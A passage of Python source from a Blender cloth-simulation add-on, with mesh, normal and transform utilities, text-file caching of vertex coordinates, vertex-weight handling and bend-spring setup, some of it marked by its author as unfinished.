    np.savetxt(txt, co)\n\n        return\n\n    vc = len(ob.data.vertices)\n    txt = bpy.data.texts[name].as_string()\n    frame = bpy.context.scene.frame_current\n    start = (frame -1) * vc * 3\n\n    co = np.fromstring(txt, sep='\\n')[start: start + (vc * 3)]\n    co.shape = (co.shape[0]//3, 3)\n\n    # right here could put in a feature to overwrite in edit mode per frame.\n    if ob.data.is_editmode:\n        for i, v in enumerate(cloth.obm.verts):\n            v.co = co[i]\n        bmesh.update_edit_mesh(ob.data)\n        return\n            \n    ob.data.shape_keys.key_blocks['MC_current'].data.foreach_set('co', co.ravel())\n    ob.data.update()\n\n\ndef remake_mesh(name, cloth):\n\n    for m in bpy.data.meshes:\n        if m.name == name:\n            bpy.data.meshes.remove(m)\n\n    for o in bpy.data.objects:\n        if o.name == name:\n            bpy.data.objects.remove(o)\n\n    v = cloth.total_co.tolist()\n    e = []\n    f = cloth.oc_total_tridex.tolist()\n    \n    mesh = bpy.data.meshes.new(name)\n    mesh.from_pydata(v, e, f)\n    mesh.update()\n    mesh_ob = bpy.data.objects.new(name, mesh)\n    bpy.context.collection.objects.link(mesh_ob)\n    #mesh_ob.hide_viewport = True\n    return mesh_ob\n\n\ndef manage_collider_mesh(cloth):\n    \n    name = 'MC_OBC_@?!'\n    \n    if name not in bpy.data.meshes:\n        cloth.collide_mesh = remake_mesh(name, cloth)\n        return\n    if name not in bpy.data.objects:\n        cloth.collide_mesh = remake_mesh(name, cloth)\n        return\n    \n    cloth.collide_mesh = bpy.data.objects[name]\n    if len(cloth.collide_mesh.data.vertices) != cloth.total_co.shape[0]:\n        cloth.collide_mesh = remake_mesh(name, cloth)\n        return    \n    \n    cloth.collide_mesh.hide_viewport = True\n    cloth.collide_mesh.data.vertices.foreach_set('co', cloth.total_co.ravel())\n    cloth.collide_mesh.data.update()\n        \n\n# developer functions ------------------------\ndef get_proxy_co(ob, co=None, proxy=None, return_proxy=False):\n    \"\"\"Gets co with modifiers like cloth\"\"\"\n    if proxy is None:\n\n        #dg = bpy.context.evaluated_depsgraph_get()\n        \n        dg = glob_dg\n        #dg.update()\n        prox = ob.evaluated_get(dg)\n        proxy = prox.to_mesh()\n\n    if co is None:\n        vc = len(proxy.vertices)\n        co = np.empty((vc, 3), dtype=np.float32)\n\n    proxy.vertices.foreach_get('co', co.ravel())\n    if return_proxy:\n        return co, proxy, prox\n    \n    ob.to_mesh_clear()\n    return co\n\n\ndef get_sc_normals(co, ob):\n    \"\"\"Updates the proxy with current cloth.co\n    before getting vertex normals\"\"\"\n    \n    dg = glob_dg\n    prox = ob.evaluated_get(dg)\n    proxy = prox.to_mesh()\n    proxy.vertices.foreach_set('co', co.ravel())\n    proxy.update()\n            \n    normals = np.zeros((len(proxy.vertices), 3), dtype=np.float32)\n    proxy.vertices.foreach_get('normal', normals.ravel())\n\n    return normals\n\n\n\ndef get_proxy_normals(ob=None, proxy=None):\n    if proxy is None:\n\n        dg = glob_dg\n        prox = ob.evaluated_get(dg)\n        proxy = prox.to_mesh()\n        \n    normals = np.zeros((len(proxy.vertices), 3), dtype=np.float32)\n    proxy.vertices.foreach_get('normal', normals.ravel())\n\n    return normals\n    \n\n# universal ---------------------\ndef absolute_co(ob, co=None):\n    \"\"\"Get vert coords in world space\"\"\"\n    co, proxy, prox = get_proxy_co(ob, co, return_proxy=True)\n    m = np.array(ob.matrix_world, dtype=np.float32)\n    mat = m[:3, :3].T # rotates backwards without T\n    loc = m[:3, 3]\n    return co @ mat + loc, proxy, prox\n\n\ndef get_proxy(ob):\n    \"\"\"Gets proxy mesh with mods\"\"\"\n    # use: ob.to_mesh_clear() to remove\n    #dg = bpy.context.evaluated_depsgraph_get()\n    dg = glob_dg\n    prox = ob.evaluated_get(dg)\n    proxy = prox.to_mesh()\n    return proxy\n\n\n# developer functions ------------------------\ndef read_python_script(name=None):\n    \"\"\"When this runs it makes a copy of this script\n    and saves it to the blend file as a text\n    Not a virus... well sort of like a virus\"\"\"\n\n    p_ = pathlib.Path(inspect.getfile(inspect.currentframe()))\n    py = p_.parts[-1]\n    p = p_.parent.joinpath(py)\n    try:\n        o = open(p)\n    except:\n        p = p_.parent.joinpath(py) # linux or p1 (not sure why this is happening in p1)\n        o = open(p)\n\n    if name is None:\n        name = 'new_' + py\n\n    new = bpy.data.texts.new(name)\n\n    r = o.read()\n    new.write(r)\n\n\n# developer functions ------------------------\ndef create_object_cache(ob):\n    print('cache only function')\n\n\n#print(\"new--------------------------------------\")\n\n\n# Cache functions ---------------\ndef cache_interpolation(cloth):\n    # !!! have to finish this one\n    # Might as well throw in the ability to scale the\n    #   cache up and down.\n    #   Compute on playback so we don't screw with the files\n\n    ob = cloth.ob\n    f = ob.MC_props.current_cache_frame\n    fp = cloth.cache_dir\n    idx = np.array([int(i.parts[-1]) for i in fp.iterdir()])\n\n\n# Cache functions ---------------\ndef cache_only(ob, frame=None):\n\n    self = ob.MC_props\n\n    path = os.path.expanduser(\"~/Desktop\")\n    self['cache_folder'] = path\n    mc_path = pathlib.Path(path).joinpath('MC_cache_files')\n\n    if not mc_path.exists():\n        mc_path.mkdir()\n\n    final_path = mc_path.joinpath(ob.name)\n    self['cache_name'] = ob.name\n    final_path = mc_path.joinpath(ob.name)\n\n    # create dir if it doesn't exist\n    if not final_path.exists():\n        final_path.mkdir()\n\n    #f = bpy.context.scene.frame_current\n    f = ob.MC_props.current_cache_frame\n    ob.MC_props['current_cache_frame'] = f + 1\n    if frame is not None:\n        f = frame\n\n    txt = final_path.joinpath(str(f))\n\n    np.savetxt(txt, get_proxy_co(ob))\n\n\n# Cache functions ---------------\ndef cache(cloth, keying=False):\n    \"\"\"Store a text file of Nx3 numpy coords.\"\"\"\n    ob = cloth.ob\n    fp = cloth.cache_dir\n\n    maf = ob.MC_props.max_frames\n    con = ob.MC_props.continuous\n\n    # update ccf either to current frame or to +1 if continuous\n    ccf = ob.MC_props.current_cache_frame\n    f = bpy.context.scene.frame_current\n    ob.MC_props['current_cache_frame'] = f\n\n    if keying:\n        f = ccf\n        ob.MC_props['current_cache_frame'] = ccf\n\n    if con:\n        f = ccf\n        ob.MC_props['current_cache_frame'] = ccf + 1\n\n    txt = fp.joinpath(str(f))\n\n    #sf = cloth.ob.MC_props.start_frame\n    #ef = cloth.ob.MC_props.end_frame\n    #if (f >= sf) & (f <= ef):\n\n    nonexistent = not txt.exists()\n\n    if (nonexistent | ob.MC_props.overwrite_cache):\n        np.savetxt(txt, cloth.co)\n        print('saved a cache file: ', txt)\n\n\n# Cache functions ---------------\ndef play_cache(cloth, cb=False):\n    \"\"\"Load a text file of Nx3 numpy coords.\"\"\"\n    if cloth.ob.MC_props.internal_cache:\n        np_co_to_text(cloth.ob, cloth.co, rw='r', cloth=cloth)\n        return\n        print('play cache is running')\n\n    ob = cloth.ob\n\n    if not hasattr(cloth, \"cache_dir\"):\n        ob.MC_props['play_cache'] = False\n        return\n\n    cache_interpolation(cloth) # Finish this !!!\n\n    f = bpy.context.scene.frame_current\n\n    if ob.MC_props.continuous:\n        f = ob.MC_props.current_cache_frame\n        ob.MC_props['current_cache_frame'] = f + 1\n\n    if cb: # when running the callback\n        f = ob.MC_props.current_cache_frame\n\n    fp = cloth.cache_dir\n\n    txt = fp.joinpath(str(f))\n\n    if txt.exists():\n        cloth.co = np.loadtxt(txt, dtype=np.float32)\n\n    key = 'MC_current'\n    # cache only playback\n    if ob.MC_props.cache_only:\n        key = 'cache_key'\n        if not ob.data.is_editmode:\n            ob.data.shape_keys.key_blocks['cache_key'].data.foreach_set('co', cloth.co.ravel())\n            ob.data.update()\n            return\n\n    if ob.data.is_editmode:\n        index = ob.data.shape_keys.key_blocks.find(key)\n        if ob.active_shape_key_index == index:\n\n            try:\n                cloth.obm.verts\n            except:\n\n                cloth.obm = bmesh.from_edit_mesh(ob.data)\n\n            for i, j in enumerate(cloth.co):\n                cloth.obm.verts[i].co = j\n        return\n\n    ob.data.shape_keys.key_blocks['MC_current'].data.foreach_set(\"co\", cloth.co.ravel())\n    ob.data.update()\n\n\n# debugging\ndef T(type=1, message=''):\n    if type == 1:\n        return time.time()\n    print(time.time() - type, message)\n\n\n# ============================================================ #\n#                    universal functions                       #\n#                                                              #\n\n\n# universal ---------------------\ndef get_bary_weights(tris, points):\n    \"\"\"Find barycentric weights for triangles.\n    Tris is a Nx3x3 set of triangle coords.\n    points is the same N in Nx3 coords\"\"\"\n    origins = tris[:, 0]\n    cross_vecs = tris[:, 1:] - origins[:, None]\n    v2 = points - origins\n\n    # ---------\n    v0 = cross_vecs[:,0]\n    v1 = cross_vecs[:,1]\n\n    d00_d11 = np.einsum('ijk,ijk->ij', cross_vecs, cross_vecs)\n    d00 = d00_d11[:,0]\n    d11 = d00_d11[:,1]\n    d01 = np.einsum('ij,ij->i', v0, v1)\n    d02 = np.einsum('ij,ij->i', v0, v2)\n    d12 = np.einsum('ij,ij->i', v1, v2)\n\n    div = 1 / (d00 * d11 - d01 * d01)\n    u = (d11 * d02 - d01 * d12) * div\n    v = (d00 * d12 - d01 * d02) * div\n\n    weights = np.array([1 - (u+v), u, v, ]).T\n    return weights\n\n\n# universal ---------------------\ndef update_ob_v_norms(cloth, force=False):\n    \"\"\"updates cloth.v_norms\"\"\"\n    \n    if not force:\n        pass\n        # check if last co is different\n        # for skipping the calc if not needed        \n        \n    tri_co = cloth.total_co[cloth.oc_total_tridex]\n    normals = get_normals_from_tris(tri_co)\n\n    # now get vertex normals with add.at\n    cloth.ob_v_norms[:] = 0.0\n    np.add.at(cloth.ob_v_norms, cloth.ob_v_norm_indexer, normals[cloth.ob_v_norm_indexer1])\n    #print(normals)\n    dots = np.sqrt(np.einsum('ij,ij->i', cloth.ob_v_norms, cloth.ob_v_norms))[:, None]\n    cloth.ob_v_norms /= dots\n    \n    \n# universal ---------------------\ndef update_v_norms(cloth):\n    \"\"\"updates cloth.v_norms\"\"\"\n        \n    tri_co = cloth.co[cloth.tridex]\n    normals = get_normals_from_tris(tri_co)\n    cloth.tri_normals = normals\n    # now get vertex normals with add.at\n    cloth.v_norms[:] = 0.0\n    np.add.at(cloth.v_norms, cloth.v_norm_indexer, normals[cloth.v_norm_indexer1])\n    dots = np.sqrt(np.einsum('ij,ij->i', cloth.v_norms, cloth.v_norms))[:, None]\n    cloth.v_norms /= dots\n\n\n# universal ---------------------\ndef get_normals_from_tris(tris):\n    \"\"\"Returns unit normals from tri coords\"\"\"\n    origins = tris[:, 0]\n    vecs = tris[:, 1:] - origins[:, None]\n    cross = np.cross(vecs[:, 0], vecs[:, 1])\n    mag = np.sqrt(np.einsum(\"ij ,ij->i\", cross, cross))[:, nax]\n    return cross/mag\n\n\n# universal ---------------------\ndef cross_from_tris(tris):\n    origins = tris[:, 0]\n    vecs = tris[:, 1:] - origins[:, nax]\n    cross = np.cross(vecs[:, 0], vecs[:, 1])\n    return cross\n\n\n# universal ---------------------\ndef apply_rotation(object, normals):\n    \"\"\"When applying vectors such as normals we only need\n    to rotate\"\"\"\n    m = np.array(object.matrix_world)\n    mat = m[:3, :3].T\n    #object.v_normals = object.v_normals @ mat\n    return normals @ mat\n\n\n# universal ---------------------\ndef revert_rotation(ob, co):\n    \"\"\"When reverting vectors such as normals we only need\n    to rotate. Forces need to be scaled\"\"\"\n    m = np.array(ob.matrix_world)\n    mat = m[:3, :3] / np.array(ob.scale, dtype=np.float32) # rotates backwards without T\n    return (co @ mat) / np.array(ob.scale, dtype=np.float32)\n\n\n# universal ---------------------\ndef revert_transforms(ob, co):\n    \"\"\"Set world coords on object.\n    Run before setting coords to deal with object transforms\n    if using apply_transforms()\"\"\"\n    m = np.linalg.inv(ob.matrix_world)\n    mat = m[:3, :3]# rotates backwards without T\n    loc = m[:3, 3]\n    return co @ mat + loc\n\n\n# universal ---------------------\ndef revert_in_place(ob, co):\n    \"\"\"Revert world coords to object coords in place.\"\"\"\n    m = np.linalg.inv(ob.matrix_world)\n    mat = m[:3, :3]# rotates backwards without T\n    loc = m[:3, 3]\n    co[:] = co @ mat + loc\n\n\n# universal ---------------------\ndef apply_in_place(ob, arr):\n    \"\"\"Overwrite vert coords in world space\"\"\"\n    m = np.array(ob.matrix_world, dtype=np.float32)\n    mat = m[:3, :3].T # rotates backwards without T\n    loc = m[:3, 3]\n    # optimize: np.dot(arr, mat, out=dot_arr)\n    # optimize: np.add(dot_arr, loc, out=add_arr)\n    arr[:] = arr @ mat + loc\n    return arr\n\n\n# universal ---------------------\ndef apply_transforms(ob, co):\n    \"\"\"Get vert coords in world space\"\"\"\n    m = np.array(ob.matrix_world, dtype=np.float32)\n    mat = m[:3, :3].T # rotates backwards without T\n    loc = m[:3, 3]\n    return co @ mat + loc\n\n\ndef invert_transforms(ob, co):\n    \"\"\"Get vert coords in world space\"\"\"\n    m = np.array(ob.matrix_world.inverted(), dtype=np.float32)\n    mat = m[:3, :3].T # rotates backwards without T\n    loc = m[:3, 3]\n    return co @ mat + loc\n\n\n# universal ---------------------\ndef copy_object_transforms(ob1, ob2):\n    \"\"\"Put the transforms of one object onto another\"\"\"\n    M = ob1.matrix_world.copy()\n    ob2.matrix_world = M\n\n\n# universal ---------------------\ndef manage_locations_as_strings(old, new):\n    # vertex coords for each point in old to a key as string\n    \"\"\" !!! not finished !!! \"\"\"\n    idx_co_key = {}\n    vs = ob.data.vertices\n    flat_faces = np.hstack(sel_faces)\n    for i in range(len(flat_faces)):\n        idx_co_key[str(vs[flat_faces[i]].co)] = flat_faces[i]\n\n\n# universal ---------------------\ndef offset_face_indices(faces=[]):\n    \"\"\"Sorts the original face vert indices\n    for a new mesh from subset. Works with N-gons\"\"\"\n    # Example: face_verts = [[20, 10, 30], [10, 30, 100, 105]]\n    # Converts to [[1, 0, 2], [0, 2, 3, 4]]\n\n    def add(c):\n        c['a'] += 1\n        return c['a']\n\n    flat = np.hstack(faces)\n    idx = np.unique(flat, return_inverse=True)[1]\n    c = {'a': -1}\n    new_idx = [[idx[add(c)] for j in i] for i in faces]\n    return new_idx\n\n\n# universal ---------------\ndef link_mesh(verts, edges, faces, name='name', ob=None):\n    \"\"\"Generate and link a new object from pydata.\n    If object already exists replace its data\n    with a new mesh and delete the old mesh.\"\"\"\n    if ob is None:\n        mesh = bpy.data.meshes.new(name)\n        mesh.from_pydata(verts, edges, faces)\n        mesh.update()\n        mesh_ob = bpy.data.objects.new(name, mesh)\n        bpy.context.collection.objects.link(mesh_ob)\n        return mesh_ob\n    \n    mesh_ob = ob\n    old = ob.data\n    mesh = bpy.data.meshes.new(name)\n    mesh.from_pydata(verts, edges, faces)\n    mesh.update()\n    mesh_ob.data = mesh\n    bpy.data.meshes.remove(old)\n    return mesh_ob\n\n\n# universal ---------------\ndef mesh_from_selection(ob, name='name'):\n    \"\"\"Generate a new mesh from selected faces\"\"\"\n    obm = get_bmesh(ob)\n    obm.faces.ensure_lookup_table()\n    faces = [[v.index for v in f.verts] for f in obm.faces if f.select]\n    if len(faces) == 0:\n        print(\"No selected faces in mesh_from_selection\")\n        return # no faces\n\n    obm.verts.ensure_lookup_table()\n    verts = [i.co for i in obm.verts if i.select]\n    idx_faces = offset_face_indices(faces)\n    mesh = bpy.data.meshes.new(name)\n    mesh.from_pydata(verts, [], idx_faces)\n    mesh.update()\n    if False:\n        mesh_ob = ob.copy()\n    else:\n        mesh_ob = bpy.data.objects.new(name, mesh)\n\n    mesh_ob.data = mesh\n    mesh_ob.name = name\n    bpy.context.collection.objects.link(mesh_ob)\n    return mesh_ob, faces, idx_faces\n\n\n# universal ---------------\ndef get_bmesh(ob=None, refresh=False):\n    \"\"\"gets bmesh in editmode or object mode\n    by checking the mode\"\"\"\n    if ob.data.is_editmode:\n        return bmesh.from_edit_mesh(ob.data)\n    obm = bmesh.new()\n    obm.from_mesh(ob.data)\n    if refresh:\n        obm.verts.ensure_lookup_table()\n        obm.edges.ensure_lookup_table()\n        obm.faces.ensure_lookup_table()\n    return obm\n\n\n# universal ---------------------\ndef get_quad_obm(ob):\n    \"\"\"Get a triangulated mesh as quads. Used by\n    the bend springs for greater stability\"\"\"\n    ob.update_from_editmode()\n    obm = bmesh.new()\n    obm.from_mesh(ob.data)\n    bmesh.ops.join_triangles(obm, faces=obm.faces, angle_shape_threshold=0.9, angle_face_threshold=0.9)\n    return obm\n\n\n# universal ---------------\ndef get_co(ob, ar=None):\n    \"\"\"Get vertex coordinates from an object in object mode\"\"\"\n    c = len(ob.data.vertices)\n    ar = np.empty((c, 3), dtype=np.float32)\n    ob.data.vertices.foreach_get('co', ar.ravel())\n    return ar\n\n\n# universal ---------------\ndef co_overwrite(ob, ar):\n    \"\"\"Fast way to overwrite\"\"\"\n    ob.data.vertices.foreach_get('co', ar.ravel())\n\n\n# universal ---------------\ndef get_co_shape(ob, key=None, ar=None):\n    \"\"\"Get vertex coords from a shape key\"\"\"\n    if ar is not None:\n        ob.data.shape_keys.key_blocks[key].data.foreach_get('co', ar.ravel())\n        return ar\n    c = len(ob.data.vertices)\n    ar = np.empty((c, 3), dtype=np.float32)\n    ob.data.shape_keys.key_blocks[key].data.foreach_get('co', ar.ravel())\n    return ar\n\n\n# universal ---------------------\ndef get_poly_centers(ob, co, data=None):\n    \"\"\"Get poly centers. Data is meant\n    to be built the first time then\n    passed in. (dynamic)\"\"\"\n\n    if data is not None:\n        data[0][:] = 0\n        np.add.at(data[0], data[2], co[data[3]])\n        data[0] /= data[1]\n        return data[0]\n\n    pc = len(ob.data.polygons)\n    pidex = np.hstack([[v for v in p.vertices] for p in ob.data.polygons])\n\n    div = [len(p.vertices) for p in ob.data.polygons]\n\n    indexer = []\n    for i, j in enumerate(div):\n        indexer += [i] * j\n    div = np.array(div, dtype=np.float32)[:, None]\n\n    centers = np.zeros((pc, 3), dtype=np.float32)\n\n    np.add.at(centers, indexer, co[pidex])\n    centers /= div\n\n    return [centers, div, indexer, pidex]\n\n\n# universal ---------------------\ndef get_poly_centers_bmesh(obm, co, data=None):\n    \"\"\"Get poly centers. Data is meant\n    to be built the first time then\n    passed in. (dynamic)\"\"\"\n\n    if data is not None:\n        data[0][:] = 0\n        np.add.at(data[0], data[2], co[data[3]])\n        data[0] /= data[1]\n        return data[0]\n\n    pc = len(obm.faces)\n    pidex = np.hstack([[v.index for v in f.verts] for f in obm.faces])\n\n    div = [len(f.verts) for f in obm.faces]\n\n    indexer = []\n    for i, j in enumerate(div):\n        indexer += [i] * j\n    div = np.array(div, dtype=np.float32)[:, None]\n\n    centers = np.zeros((pc, 3), dtype=np.float32)\n\n    np.add.at(centers, indexer, co[pidex])\n    centers /= div\n\n    return [centers, div, indexer, pidex]\n\n\n# universal ---------------\ndef key_overwrite(ob, ar, key):\n    \"\"\"Fast way to overwrite\"\"\"\n    ob.data.shape_keys.key_blocks[key].data.foreach_get('co', ar.ravel())\n\n\n# universal ---------------\ndef get_co_edit__(ob, obm=None):\n    \"\"\"Get vertex coordinates from an object in edit mode\"\"\"\n    if obm is None:\n        obm = get_bmesh(ob)\n        obm.verts.ensure_lookup_table()\n    co = np.array([i.co for i in obm.verts])\n    return co\n\n\n# universal ---------------\ndef Nx3(ob):\n    \"\"\"For generating a 3d vector array\"\"\"\n    if ob.data.is_editmode:\n        ob.update_from_editmode()\n    count = len(ob.data.vertices)\n    ar = np.zeros((count, 3), dtype=np.float32)\n    return ar\n\n\n# universal ---------------\ndef get_co_edit(ob, ar=None, key='MC_current'):\n    ob.update_from_editmode()\n    if ar is None:\n        c = len(ob.data.vertices)\n        ar = np.empty((c, 3), dtype=np.float32)\n    #ob.data.vertices.foreach_get('co', ar.ravel())\n    ob.data.shape_keys.key_blocks[key].data.foreach_get('co', ar.ravel())\n    return ar\n\n\n# universal ---------------\ndef get_co_mode(ob=None, key='MC_current'):\n    \"\"\"Edit or object mode\"\"\"\n    if ob is None: # cloth.target object might be None\n        return\n    if ob.data.is_editmode:\n        ob.update_from_editmode()\n    c = len(ob.data.vertices)\n    ar = np.empty((c, 3), dtype=np.float32)\n    #ob.data.vertices.foreach_get('co', ar.ravel())\n    ob.data.shape_keys.key_blocks[key].data.foreach_get('co', ar.ravel())\n    return ar\n\n\n# universal ---------------\ndef compare_geometry(ob1, ob2, obm1=None, obm2=None, all=False):\n    \"\"\"Check for differences in verts, edges, and faces between two objects\"\"\"\n    # if all is false we're comparing a target objects. verts in faces\n    #   and faces must match.\n    def get_counts(obm):\n        v_count = len([v for v in obm.verts if len(v.link_faces) > 0])\n        #v_count = len(obm.verts) # not sure if I need to separate verts...\n        e_count = len(obm.edges)\n        f_count = len(obm.faces)\n        if all:\n            return np.array([v_count, e_count, f_count])\n        return np.array([v_count, f_count]) # we can still add sew edges in theory...\n\n    if obm1 is None:\n        obm1 = get_bmesh(ob1)\n    if obm2 is None:\n        obm2 = get_bmesh(ob2)\n\n    c1 = get_counts(obm1)\n    c2 = get_counts(obm2)\n\n    return np.all(c1 == c2)\n\n\n# universal ---------------\ndef detect_changes(counts, obm):\n    \"\"\"Compare mesh data to detect changes in edit mode\"\"\"\n    # counts in an np array shape (3,)\n    v_count = len(obm.verts)\n    e_count = len(obm.edges)\n    f_count = len(obm.faces)\n    new_counts = np.array([v_count, e_count, f_count])\n    # Return True if all are the same\n    return np.all(counts == new_counts), f_count < 1\n\n\n# universal ---------------\ndef get_mesh_counts(ob, obm=None):\n    \"\"\"Returns information about object mesh in edit or object mode\"\"\"\n    if obm is not None:\n        v_count = len(obm.verts)\n        e_count = len(obm.edges)\n        f_count = len(obm.faces)\n        return np.array([v_count, e_count, f_count])\n    v_count = len(ob.data.vertices)\n    e_count = len(ob.data.edges)\n    f_count = len(ob.data.polygons)\n    return np.array([v_count, e_count, f_count])\n\n\n# universal ---------------\ndef get_weights(ob, name, obm=None, default=0, verts=None, weights=None):\n    \"\"\"Get vertex weights. If no weight is assigned\n    set array value to zero. If default is 1 set\n    all values to 1\"\"\"\n    if obm is None:\n        obm = get_bmesh(ob, refresh=True)\n\n    # might want to look into using map()\n    count = len(obm.verts)\n    if name not in ob.vertex_groups:\n        ob.vertex_groups.new(name=name)\n\n    g_idx = ob.vertex_groups[name].index\n    arr = np.zeros(count, dtype=np.float32)\n\n    obm.verts.layers.deform.verify()\n\n    deform = obm.verts.layers.deform.active\n\n    dvert_lay = obm.verts.layers.deform.active\n\n    if verts is not None:\n        for i, v in enumerate(verts):\n            dvert = obm.verts[v][dvert_lay]\n            dvert[g_idx] = weights[i]\n        return # will run again once the weights are set and build the arrays.\n\n    if dvert_lay is None: # if there are no assigned weights\n        return arr\n\n    for v in obm.verts:\n        idx = v.index\n        dvert = v[dvert_lay]\n\n        if g_idx in dvert:\n            arr[idx] = dvert[g_idx]\n        else:\n            if default == 1:\n                dvert[g_idx] = default\n            arr[idx] = default\n\n    return arr\n\n\n# universal !!! broken !!! ---------------------\ndef box_bary_weights(poly, point, vals=[]):\n    \"\"\"Get values to plot points from tris\n    or return the new plotted value.\"\"\"\n    # note: could use a lot of add.at/subtract.at and\n    #   obscenely complex indexing to do bend springs\n    #   between n-gons. It would be a riot!\n\n    if vals: # two scalar values\n        ba = poly[1] - poly[0]\n        ca = poly[2] - poly[0]\n        v1, v2 = vals[0], vals[1]\n        plot = poly[0] + (((ba * v1) + (ca * v2)) * .5)\n        #plot = poly[0]# + (((ba * v1) + (ca * v2)) * .5)\n        return plot\n\n    pa = point - poly[0]\n    ba = poly[1] - poly[0]\n    ca = poly[2] - poly[0]\n\n    v1 = np.nan_to_num(pa / ba)\n    v2 = np.nan_to_num(pa / ca)\n    return [v1, v2]\n\n\n# cloth setup -------------\ndef pairs_idx(ar):\n    \"\"\"Eliminates duplicates and mirror duplicates.\n    for example, [1,4], [4,1] or duplicate occurrences of [1,4]\n    Returns ar (array) and the index that removes the duplicates.\"\"\"\n    # no idea how this works (probably sorcery) but it's really fast\n    a = np.sort(ar, axis=1) # because it only sorts on the second acess the index still matches other arrays.\n    x = np.random.rand(a.shape[1])\n    #x = np.linspace(1, 2, num=a.shape[1])\n    y = a @ x\n    unique, index = np.unique(y, return_index=True)\n    return a[index], index\n\n\n\n# cloth setup -------------\ndef reset_shapes(ob):\n    \"\"\"Create shape keys if they are missing\"\"\"\n\n    if ob.data.shape_keys == None:\n        ob.shape_key_add(name='Basis')\n\n    keys = ob.data.shape_keys.key_blocks\n    if 'MC_source' not in keys:\n        ob.shape_key_add(name='MC_source')\n        keys['MC_source'].value = 1.0\n\n    if 'MC_current' not in keys:\n        ob.shape_key_add(name='MC_current')\n        keys['MC_current'].value = 1.0\n        keys['MC_current'].relative_key = keys['MC_source']\n\n\n# cloth setup -------------\ndef extend_bend_springs():\n    #is there a way to get bend relationships from\n    #just the basis springs...\n    #Or could I do something like virtual springs\n    #but for bend sets...\n    pass\n\n\n# abstract bend setup ----------------------------\n# precalculated ------------------------\ndef get_j_surface_offset(cloth):\n    \"\"\"Get the vecs to move the plotted\n    wieghts off the surface.\"\"\"\n\n    ax = cloth.j_axis_vecs\n    ce = cloth.j_ce_vecs # has the faces swapped so the normal corresponds to the other side of the axis\n    cross = np.cross(ax, ce)\n\n    cloth.j_normals = cross / np.sqrt(np.einsum('ij,ij->i', cross, cross))[:, None]\n    cloth.plot_normals = cloth.j_normals[cloth.j_tiler]\n\n    cloth.bend_flat = False\n    cloth.plot_vecs = cloth.sco[cloth.swap_jpv] - cloth.j_plot\n    cloth.plot_dots = np.einsum('ij,ij->i', cloth.plot_normals, cloth.plot_vecs)[:, None]\n    if np.all(cloth.plot_dots < 0.000001):\n        cloth.bend_flat = True\n\n\n# abstract bend setup ----------------------------\n# dynamic ------------------------------\ndef measure_linear_bend(cloth):\n    \"\"\"Takes a set of coords and an edge idx and measures segments\"\"\"\n    l = cloth.sp_ls # left side of the springs (Full moved takes the place of the right side)\n    a,b,c = np.unique(l, return_counts=True, return_inverse=True)\n\n    x = c[b]\n    cloth.bend_multiplier = ((x - 2) / 2) + 2\n    return\n\n    v = (cloth.full_moved - cloth.co[cloth.sp_ls]) / cloth.divy\n    d = np.einsum(\"ij ,ij->i\", v, v)\n    return v, d, np.sqrt(d)\n\n\n# abstract bend setup ----------------------------\n# dynamic ------------------------------\ndef get_eq_tri_tips(cloth, co, centers, skip=False):\n    \"\"\"Slide the centers of each face along\n    the axis until it's in the middle for\n    using as a triangle. (dynamic)\"\"\"\n\n    skip = True # set to false to use eq tris.\n    if skip: # skip will test if it really makes any difference to move the tris to the center\n        cloth.j_axis_vecs = co[cloth.stacked_edv[:,1]] - co[cloth.stacked_edv[:,0]]\n        cloth.j_tips = centers[cloth.stacked_faces]\n        cloth.j_ce_vecs = centers[cloth.stacked_faces] - co[cloth.stacked_edv[:,0]]\n        return cloth.j_tips, cloth.j_axis_vecs, cloth.j_ce_vecs\n\n    # creates tris from center and middle of edge.\n    # Not sure if it makes any difference...\n    j_axis_vecs = co[cloth.stacked_edv[:,1]] - co[cloth.stacked_edv[:,0]]\n    j_axis_dots = np.einsum('ij,ij->i', j_axis_vecs, j_axis_vecs)\n    j_ce_vecs = centers[cloth.stacked_faces] - co[cloth.stacked_edv[:,0]]\n    cloth.swap_ce_vecs = centers[cloth.swap_faces] - co[cloth.stacked_edv[:,0]]\n    j_cea_dots = np.einsum('ij,ij->i', j_axis_vecs, j_ce_vecs)\n\n    j_div = j_cea_dots / j_axis_dots\n    j_spit = j_axis_vecs * j_div[:,None]\n\n    j_cpoe = co[cloth.stacked_edv[:,0]] + j_spit\n    jt1 = centers[cloth.stacked_faces] - j_cpoe\n    j_mid = co[cloth.stacked_edv[:,0]] + (j_axis_vecs * 0.5)\n\n    cloth.j_tips = j_mid + jt1\n    cloth.j_axis_vecs = j_axis_vecs\n    cloth.j_ce_vecs = j_ce_vecs\n    # ---------------------\n    return cloth.j_tips, cloth.j_axis_vecs, cloth.j_ce_vecs\n\n\n# abstract bend setup ----------------------------\n# precalculated ------------------------\ndef eq_bend_data(cloth):\n    \"\"\"Generates face pairs around axis edges.\n    Supports edges with 2-N connected faces.\n    Can use internal structures this way.\"\"\"\n    ob = cloth.ob\n    if ob.MC_props.quad_bend:\n        obm = cloth.quad_obm\n    else:\n        obm = get_bmesh(ob)\n    sco = cloth.sco\n    \n    # eliminate: sew edges, outer edges, bend_stiff group weight 0:\n    ed = [e for e in obm.edges if\n         (len(e.link_faces) > 1) &\n         (cloth.bend_cull[e.verts[0].index]) &\n         (cloth.bend_cull[e.verts[1].index])]\n\n    first_row = []\n    e_tiled = []\n    f_ls = []\n    f_rs = []\n    for e in ed:\n        ls = []\n        for f in e.link_faces:\n            otf = [lf for lf in e.link_faces if lf != f]\n            for lf in otf:\n                f_ls += [f.index]\n                f_rs += [lf.index]\n                e_tiled += [e.index]\n\n    shape1 = len(f_ls)\n    paired = np.empty((shape1, 2), dtype=np.int32)\n    paired[:, 0] = f_ls\n    paired[:, 1] = f_rs\n\n    # faces grouped left and right\n    cloth.face_pairs, idx = pairs_idx(paired)\n    cloth.stacked_faces = cloth.face_pairs.T.ravel()\n    jfps = cloth.stacked_faces.shape[0]\n\n    # swap so we get wieghts from tris opposite axis\n    cloth.swap_faces = np.empty(jfps, dtype=np.int32)\n    cloth.swap_faces[:jfps//2] = cloth.face_pairs[:, 1]\n    cloth.swap_faces[jfps//2:] = cloth.face_pairs[:, 0]\n\n    # remove duplicate pairs so edges match face pairs\n    tiled_edges = np.array(e_tiled)[idx]\n\n    # v1 and v2 for each face pair (twice as many faces because each pair shares an edge)\n    obm.edges.ensure_lookup_table()\n    cloth.edv = np.array([[obm.edges[e].verts[0].index,\n                     obm.edges[e].verts[1].index]\n                     for e in tiled_edges], dtype=np.int32)\n\n    shape = cloth.edv.shape[0]\n    cloth.stacked_edv = np.tile(cloth.edv.ravel(), 2)\n    cloth.stacked_edv.shape = (shape * 